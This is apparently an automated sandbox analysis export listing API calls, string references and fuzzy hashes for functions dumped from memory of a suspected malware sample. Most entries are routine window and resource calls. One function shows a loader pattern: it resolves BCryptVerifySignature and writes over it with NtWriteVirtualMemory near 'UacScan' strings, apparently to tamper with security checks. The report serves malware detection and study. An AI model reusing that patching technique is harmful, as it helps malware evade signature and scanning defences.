Uniqueness

Uniqueness Score: -1.00%

Function 032F2264 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 032F2273
GetWindowPlacement.USER32(?,0000002C), ref: 032F2290
GetWindowRect.USER32(?), ref: 032F22A9
GetWindowLongA.USER32(?,000000F0), ref: 032F22B7
GetWindowLongA.USER32(?,000000F8), ref: 032F22CC
ScreenToClient.USER32(00000000), ref: 032F22D9
ScreenToClient.USER32(00000000,?), ref: 032F22E4

Strings

,, xrefs: 032F227C

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: ebf521a3e82b7c8ce86d899e93d29d58912614867133c43a6224c217e64f485c
Instruction ID: 8c2231d3907e18fbee9b0ab85022709b29c05dc1e05afd3c098ac18b27651754
Opcode Fuzzy Hash: ebf521a3e82b7c8ce86d899e93d29d58912614867133c43a6224c217e64f485c
Instruction Fuzzy Hash: 1D113079524301AFCB10EF6CC984A8BB7E8AF89350F044965BE58DF246D775D8448B61

Uniqueness

Uniqueness Score: -1.00%

Function 032E3E18 Relevance: 10.9, APIs: 7, Instructions: 405COMMON

Download Yara Rule

APIs

SaveDC.GDI32(?), ref: 032E40E8
RestoreDC.GDI32(?,?), ref: 032E415C
GetWindowDC.USER32(?,00000000,032E434C), ref: 032E41D6
SaveDC.GDI32(?), ref: 032E420D
RestoreDC.GDI32(?,?), ref: 032E427A
DefWindowProcA.USER32(?,?,?,?,00000000,032E434C), ref: 032E432E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: RestoreSaveWindow$Proc
String ID:
API String ID: 1975259465-0
Opcode ID: f7368f26b618b2396db3831e508b7babd7511b6ba15f60d610b06f08c1322010
Instruction ID: e26a13852b176b36c5b503a023810f9e363afbfff67e1ef46ee1e4b0e8cbf6d4
Opcode Fuzzy Hash: f7368f26b618b2396db3831e508b7babd7511b6ba15f60d610b06f08c1322010
Instruction Fuzzy Hash: B5E14038A20209DFCB10EFAAC48199EF7F5FF98300BA985A5E555AB714D770ED81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 032FC520 Relevance: 10.8, APIs: 7, Instructions: 332windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32(00000000), ref: 032FC5E7
SaveDC.GDI32(?), ref: 032FC7A5
RestoreDC.GDI32(?,?), ref: 032FC816
GetWindowDC.USER32(00000000), ref: 032FC882
SaveDC.GDI32(?), ref: 032FC8B9
RestoreDC.GDI32(?,?), ref: 032FC91D

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: RestoreSave$FocusWindow
String ID:
API String ID: 1553564791-0
Opcode ID: 52a2500966fc439c07e0efee1e243f576fd145b2fc175eeeb193c9ef6552d789
Instruction ID: 166adc152b2e25eeaefa5a0a7472be26a240e57141b5fe6bfbd454aed8208490
Opcode Fuzzy Hash: 52a2500966fc439c07e0efee1e243f576fd145b2fc175eeeb193c9ef6552d789
Instruction Fuzzy Hash: 3BC18E35A2421DDFDB14EB68C985ABEF3F5EB44300F5940B1E549AB255CB70EE82CB50

Uniqueness

Uniqueness Score: -1.00%

Function 032CFCE0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40librarynativeloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(bcrypt,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,UacScan,033303D0,032D9728,UacInitialize,033303D0,032D9728,00000000,0333044C), ref: 032CFCF2
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 032CFCFF
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,UacScan), ref: 032CFD16
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,UacScan,033303D0,032D9728,UacInitialize,033303D0), ref: 032CFD25

Strings

BCryptVerifySignature, xrefs: 032CFCFD
bcrypt, xrefs: 032CFCF1

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 9c0331ecc18621830deb80fafc78ef70a2fb69f44d9da6e652ded26041c08f51
Instruction ID: ba603ea36d14be8e4910d07c31ce536e67fa0ea6481aca7a0cf09ec29c3ea48a
Opcode Fuzzy Hash: 9c0331ecc18621830deb80fafc78ef70a2fb69f44d9da6e652ded26041c08f51
Instruction Fuzzy Hash: BCF02E762253553DD120D1245D40EFF62ADCBC27A1F08473DF9549A180D7A18D8883F5

Uniqueness

Uniqueness Score: -1.00%

Function 033039A8 Relevance: 9.1, APIs: 6, Instructions: 89windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 033039B0
SetActiveWindow.USER32(?,?,?,?,033033AA,00000000,0330387E), ref: 033039C1
IsWindowEnabled.USER32(00000000), ref: 033039E4
DefWindowProcA.USER32(?,00000112,0000F120,00000000,00000000,?,?,?,?,033033AA,00000000,0330387E), ref: 033039FD
SetWindowPos.USER32(?,00000000,00000000,?,?,033033AA,00000000,0330387E), ref: 03303A43
SetFocus.USER32(00000000,?,00000000,00000000,?,?,033033AA,00000000,0330387E), ref: 03303A91

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$ActiveEnabledFocusIconicProc
String ID:
API String ID: 848842217-0
Opcode ID: 06ca2b1c5734c5e5057a57286698f434e265f60cdc8cf30af14d2d484b51b90d
Instruction ID: eb527408851d9f85237825f14a7c53d688d767c28eaa56d8c51e38fc16e8efab
Opcode Fuzzy Hash: 06ca2b1c5734c5e5057a57286698f434e265f60cdc8cf30af14d2d484b51b90d
Instruction Fuzzy Hash: B8312E79B103409BEB24EA68CDD4FAA77ACAF04750F0C14A5FE04EF2D6D6B4E8848754

Uniqueness

Uniqueness Score: -1.00%

Function 032F1938 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 032F1977
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 032F1995
GetWindowPlacement.USER32(?,0000002C), ref: 032F19CB
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 032F19EF

Strings

,, xrefs: 032F19B9

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: 270ef7ac14398b7a7cda34cb21d5cbccd4aa780e520a53b2575b1ccb6a4c7180
Instruction ID: 6a3e1b6e48c3ede2ca78181a7b1b44843be098fd475bbcddf41d20d4c1d92c7d
Opcode Fuzzy Hash: 270ef7ac14398b7a7cda34cb21d5cbccd4aa780e520a53b2575b1ccb6a4c7180
Instruction Fuzzy Hash: FD21F975A10204AFCF14EF69C8809DAB7A8AF49350F448565FE19DF206D7B1E8848BA0

Uniqueness

Uniqueness Score: -1.00%

Function 033038E4 Relevance: 7.6, APIs: 5, Instructions: 62windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 033038EB
SetActiveWindow.USER32(?,?,?,0330339D,00000000,0330387E), ref: 03303903

Part of subcall function 03302F70: EnumWindows.USER32(Function_00052F00,00000000), ref: 03302F9A
Part of subcall function 03302F70: ShowOwnedPopups.USER32(00000000,?), ref: 03302FC9

IsWindowEnabled.USER32(00000000), ref: 0330392F
SetWindowPos.USER32(?,00000000,00000000,00000000,?,00000000,00000040,00000000,?,?,?,0330339D,00000000,0330387E), ref: 03303962
DefWindowProcA.USER32(?,00000112,0000F020,00000000,?,00000000,00000000,00000000,?,00000000,00000040,00000000,?,?,?,0330339D), ref: 03303977

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$ActiveEnabledEnumIconicOwnedPopupsProcShowWindows
String ID:
API String ID: 2995439034-0
Opcode ID: 86d927cc1de3d8bb568bb73cda66fc6eb496eca0e1d19aebb0843c73381325ce
Instruction ID: 6b7a9269ff9507a136d4addcde37a5e1645469a7a2d1aa577fba3a903671ecfd
Opcode Fuzzy Hash: 86d927cc1de3d8bb568bb73cda66fc6eb496eca0e1d19aebb0843c73381325ce
Instruction Fuzzy Hash: 8C11EC78A143009BDB64EF6DCDD5F5A77A9AF48300F4800A4BA44DF2EBD6B5D8848710

Uniqueness

Uniqueness Score: -1.00%

Function 032DAEB8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

MonitorFromWindow, xrefs: 032DAECF

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressProc
String ID: MonitorFromWindow
API String ID: 190572456-2842599566
Opcode ID: b466ba013e58d7e7673febb9a2bf04fffd72dadd165d848c64560a1e57b1e442
Instruction ID: 1f531d2152086c27c41ccf3286020a83d8b5e4741b8ed6b85875a28d76f5430c
Opcode Fuzzy Hash: b466ba013e58d7e7673febb9a2bf04fffd72dadd165d848c64560a1e57b1e442
Instruction Fuzzy Hash: 590169A69282196F9704EA589C80EFFB36CEF05350F448492E8159F241EB669AC187F5

Uniqueness

Uniqueness Score: -1.00%

Function 032CA27C Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,?), ref: 032CA293
LoadResource.KERNEL32(?,032CA318,?,?,?,032C5D70,?,00000001,00000000,?,032CA1BE,00000000,?), ref: 032CA2AD
SizeofResource.KERNEL32(?,032CA318,?,032CA318,?,?,?,032C5D70,?,00000001,00000000,?,032CA1BE,00000000,?), ref: 032CA2C7
LockResource.KERNEL32(032C9E88,00000000,?,032CA318,?,032CA318,?,?,?,032C5D70,?,00000001,00000000,?,032CA1BE,00000000), ref: 032CA2D1

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 28e7e119e039b25beda35739a3405b35bb29ee27f4b5ad7a1bbed113ed856bf2
Instruction ID: be3d3c06a48dcfaedcb8e51e503eb8c20518ce5c5df8618937508ff7343b9082
Opcode Fuzzy Hash: 28e7e119e039b25beda35739a3405b35bb29ee27f4b5ad7a1bbed113ed856bf2
Instruction Fuzzy Hash: D2F081776243186F9B49EFACA880D9B73FCEE892A0314415AF90CCB205DAB1DD518374

Uniqueness

Uniqueness Score: -1.00%

Function 0330B614 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 032B5228: SysAllocStringLen.OLEAUT32(?,?), ref: 032B5236

RtlInitUnicodeString.N(?,?,00000000,0330B68E), ref: 0330B63C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,0330B68E), ref: 0330B652
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,0330B68E), ref: 0330B671

Part of subcall function 032B4F68: SysFreeString.OLEAUT32(0330C964), ref: 032B4F76

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: e01e8e04a1ae4483de27e8bd9fc2ab1798da633e52087e19ba1f821be15667ca
Instruction ID: 46fc0172908afeac09ea637d0541c84822b4aa892cdeacc4378f5510ee73c55b
Opcode Fuzzy Hash: e01e8e04a1ae4483de27e8bd9fc2ab1798da633e52087e19ba1f821be15667ca
Instruction Fuzzy Hash: 5B01EC7995430CAEDB11EBE0CD92FDDB3BCEB48700F6145A1E610EA5C0EA75EB048A64

Uniqueness

Uniqueness Score: -1.00%

Function 03302474 Relevance: 4.5, APIs: 3, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 03302480
GetCursorPos.USER32(?), ref: 0330249D
WaitForSingleObject.KERNEL32(00000000,00000064), ref: 033024BD

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CurrentCursorObjectSingleThreadWait
String ID:
API String ID: 1359611202-0
Opcode ID: d6d991904ec1302a3a317107c021cd63ee1da723189c530803014263fc98ad4e
Instruction ID: 74b76778564fc953c57cde4bde745ba8853c4b29e88ca81d3a3cd89d82a7112d
Opcode Fuzzy Hash: d6d991904ec1302a3a317107c021cd63ee1da723189c530803014263fc98ad4e
Instruction Fuzzy Hash: CEF082365143089BDB15EB68DCC9B9AB3ECEB04310F844566E511CB1D1EBB994C4CB55

Uniqueness

Uniqueness Score: -1.00%

Function 032EF158 Relevance: 3.1, APIs: 2, Instructions: 97windowCOMMON

Download Yara Rule

APIs

GetMessagePos.USER32 ref: 032EF167
GetKeyboardState.USER32(?,?,?,?,032EF6DC), ref: 032EF264

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: KeyboardMessageState
String ID:
API String ID: 3083355189-0
Opcode ID: e422702caf63331ba9801abbfeadb1726b5f989aa6d7427f36ea3727b841d44c
Instruction ID: 964aee0b40e6a2bd8d576fe86b7db01bb8ba00eb86ee579b9413cc34252c045e
Opcode Fuzzy Hash: e422702caf63331ba9801abbfeadb1726b5f989aa6d7427f36ea3727b841d44c
Instruction Fuzzy Hash: 8A31A139528345ABC724DF7CC6467DABBD5AF89310F814A2AE598C7240E7B4C9808797

Uniqueness

Uniqueness Score: -1.00%

Function 032F1030 Relevance: 3.1, APIs: 2, Instructions: 64windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 032F1068
GetCapture.USER32 ref: 032F1071

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: ccff090c3a6bc913213355451a673064edae4c15c66439a31df86c8429d188b2
Instruction ID: 8da1c94e201b81350ac6aae58cae4d7e65fcb439ab12125c9b42a2b578af5172
Opcode Fuzzy Hash: ccff090c3a6bc913213355451a673064edae4c15c66439a31df86c8429d188b2
Instruction Fuzzy Hash: 28113031B20646DFDB24DB59D9C49AAF3F8AF44304B6840B8EA05CB391DB72FD949750

Uniqueness

Uniqueness Score: -1.00%

Function 032D3470 Relevance: 3.0, APIs: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,032D350C), ref: 032D3490
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000400,?,00000100,00000000,00000000,032D350C), ref: 032D34B6

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 958f3aaf5dfab6c35ce7059d8ed97841093a8e29481b0db5b36a976decc7ab63
Instruction ID: c0a1925e12c7bec6a3a272faaa3ea048e4b8ddeab9755ee7518a27301fc2cc44
Opcode Fuzzy Hash: 958f3aaf5dfab6c35ce7059d8ed97841093a8e29481b0db5b36a976decc7ab63
Instruction Fuzzy Hash: 950184782247055FE722EA61CC91BDA73F8AB18740F5540B0EB44EA581DAF5A9C08911

Uniqueness

Uniqueness Score: -1.00%

Function 032B8F58 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 032B8F79

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 191ca3f66228928a77bd306299e92db161272771861cde97e417a21d7851d906
Instruction ID: 03ece18e986b3718e410acc8140736d896bf85ef758d3fd9cfede3ad0369a0d4
Opcode Fuzzy Hash: 191ca3f66228928a77bd306299e92db161272771861cde97e417a21d7851d906
Instruction Fuzzy Hash: 2A110CB5E00209AFDB04CF99C8809EFB7F9EFC8310B54C569A408EB250E6719A41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 032BB8C4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 032BB8E2

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2c53b1a2239317bfc178ecae58eec27d8364ed45474992c4285a8de5d7b9ac4e
Instruction ID: fb55fef48de33a9a4320ef50af52cf48cc7b674d6b253081db17ab38cde08575
Opcode Fuzzy Hash: 2c53b1a2239317bfc178ecae58eec27d8364ed45474992c4285a8de5d7b9ac4e
Instruction Fuzzy Hash: EEE0D87572031817D711E5699CC4EF6727C9758390F00026AB948CB385EEF0DDC047E4

Uniqueness

Uniqueness Score: -1.00%

Function 032BB910 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,032BD07E,00000000,032BD297,?,?,00000000,00000000), ref: 032BB923

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b1d6ec197b977121f08516ee7595b6c71277cc4a711715de584c8d8cf224beea
Instruction ID: 6e8ea2a96e988f3eb9f9a2bcd3a78a9cbf89c9b11d3046c3314138d5dd64d609
Opcode Fuzzy Hash: b1d6ec197b977121f08516ee7595b6c71277cc4a711715de584c8d8cf224beea
Instruction Fuzzy Hash: 54D05E6632E6602AE210D15A2D84DBB5EFCCAC57E1F04803AB5C8CB201D2408C469A71

Uniqueness

Uniqueness Score: -1.00%

Function 032BA30C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 032BA310

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 40780567ea648be6f000db617f10910e690f96be7393bdb0f4d36b03cf102dc8
Instruction ID: 9f3af1c34245ff6774e36167bc319abc4a07605649a93d34884f9d2a8db5486a
Opcode Fuzzy Hash: 40780567ea648be6f000db617f10910e690f96be7393bdb0f4d36b03cf102dc8
Instruction Fuzzy Hash: 16A0120440482001C54073184C0217434E05800720FC4074068F8542D0E91D01608093

Uniqueness

Uniqueness Score: -1.00%

Function 026A48A5 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2144868732.0000000002670000.00000004.00001000.00020000.00000000.sdmp, Offset: 02670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2670000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 761e8e647f0b018d5f1533b0d1d12f478d97fb487833b795481caaed8f7852ce
Instruction ID: 89c8c403be08aa7bbb6c0c213c9afd0136f7a3f46bfd197c1ab2bf07cc34b50b
Opcode Fuzzy Hash: 761e8e647f0b018d5f1533b0d1d12f478d97fb487833b795481caaed8f7852ce
Instruction Fuzzy Hash: D1A1857644E7C29FD313DB389895796BFA0FE43224B184ADEC8C14F593C751985ACB82

Uniqueness

Uniqueness Score: -1.00%

Function 032BDD17 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbf546447c09ed1e4715b53e42467d0f5adf3a50d4ed8dbf32eb914c8c674a1b
Instruction ID: 5728a914eb6a84b98c463ce2c624eadcfe93d163c615b38551a1ffe3c21831ef
Opcode Fuzzy Hash: bbf546447c09ed1e4715b53e42467d0f5adf3a50d4ed8dbf32eb914c8c674a1b
Instruction Fuzzy Hash: F251D37140E3E09FCB4397788CA42967FB0AE1B35471E24D7C8C0CF1A7D615696AEB22

Uniqueness

Uniqueness Score: -1.00%

Function 032B2160 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

